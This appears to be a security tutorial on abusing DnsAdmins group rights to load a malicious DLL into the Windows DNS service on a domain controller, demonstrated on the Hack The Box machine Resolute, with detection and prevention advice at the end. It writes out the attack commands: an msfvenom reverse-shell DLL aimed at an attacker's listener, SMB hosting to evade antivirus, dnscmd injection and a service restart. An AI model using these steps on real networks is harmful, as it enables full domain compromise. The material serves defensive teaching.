This attack demonstrates how an attacker can abuse some Active Directory misconfigurations and rights of the DNS Admins group in a Windows environment, and can successfully own the Domain Admins, Enterprise Admins or the Domain Controller depending upon where the DNS service is actually configured and running from.
By default, Domain Controllers are also DNS Servers meaning, that a user who is a member of the DNS Admins group can successfully abuse his rights and get code execution on the Domain Controller.
Anatomy of the Attack:
Successful exploitation of the attack requires a compromised user, part of the DNS Admins group, to load an arbitrary dll from his server into the DNS service, running usually as SYSTEM on the Domain Controller.
This happens because the ServerLevelPluginDll operation of DNS enables one to load an arbitrary dll, without verification of the dll path. A command-line windows utility to manage DNS servers, dnscmd.exe, already provides this option to change the configuration and load the arbitrary dll into the DNS service.
Upon successful execution of the attack, the following registry key is populated which can also be used to detect this attack, as discussed in the last section of this article.
Overview of the Entire Attack:
Enumerating User Privileges:
The attacker has compromised a user on the target machine, and after enumerating the groups that user is a part of, the attacker finds that he is also a member of the DNS Admins group. This can be done using the following Powershell commands:
$ net user <username> /domain
$ whoami /all
Building the dll:
The dll will be built using msfvenom with a stageless shell payload, using the following command:
$ msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<listening ip> LPORT=<listening port> -f dll -o shell.dll
Let’s break down this command and see what each of these switches mean:
-a : for selecting the windows build architecture
-p : payload
-f : format of the output shellcode
-o : name of the resulting output dll file
LHOST : ip of the attacker’s listening machine
LPORT : listening port of the attacker’s machine
Hosting the dll:
The dll will be hosted on an smb server, and will be injected from the same too instead of transferring it on to the victim machine, for fear of the antivirus detecting and removing our shellcoded dll.
To host the smb server, impacket-toolkit’s smbserver.py script can be used:
On attacker machine:
$ smbserver.py <share_name> <path_of_the_share>
Exploiting the DNS Service:
To succesfully exploit the service, the attacker will use dnscmd to inject the malicious dll into the ServerLevelPluginDll, using the following command:
$ dnscmd \\<hostname> /config /serverlevelplugindll \\share_path_to_the_malicious_dll
Next, the attacker will start the listener on his attacking machine, and restart the dns service on the target machine, using the following commands:
On attacking machine, setting up the listener:
$ nc -lvnp <listening_port>
On target machine, restarting the dns service:
$ sc.exe \\<hostname> stop dns
$ sc.exe \\<hostname> start dns
Once the DNS service starts, the attacker will get the SYSTEM shell of the Domain Controller on his own machine.
For practical demonstration of this attack, we’ll be using a recently retired machine on Hack The Box, named Resolute.
To start off, we have successfully compromised a user named ‘ryan‘ on the victim.
Enumerating the group memberships shows us that ryan is part of the DNS Admins group.
Let’s build our malicious dll using msfvenom.
Now let’s setup our smb-server to host the malicious dll.
Time to exploit. Let’s inject the dll and get the SYSTEM shell on the Domain Controller.
Upon starting the DNS service, we have successfully exploited the rights of DNS Admins and gained code execution on the Domain Controller.
Note: If the DNS Service is not running on the Domain Controller, but on the Domain Admins; the attacker will get the SYSTEM shell of the Domain Admins instead of the DC.
Detection and Prevention of the Attack:
Check for unusual stop and start queries for DNS services. The DNS Server Log entries will tell the if any malicious dll was loaded successfully or not, Log IDs 150 for failure and 770 for success.
Also checking the registry for any unusual dlls loaded into the DNS Server also comes in handy. Checking the registry values for DNS server can be done by noticing changes made to the following registry key:
This can be done using the following Powershell command:
$ Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\DNS\Parameters
This attack can be prevented by implementing proper ACLs for write privileges on DNS Server objects and memberships of the DNS Admins group, and ensuring that only Administrator accounts are part of the DNS Admins group.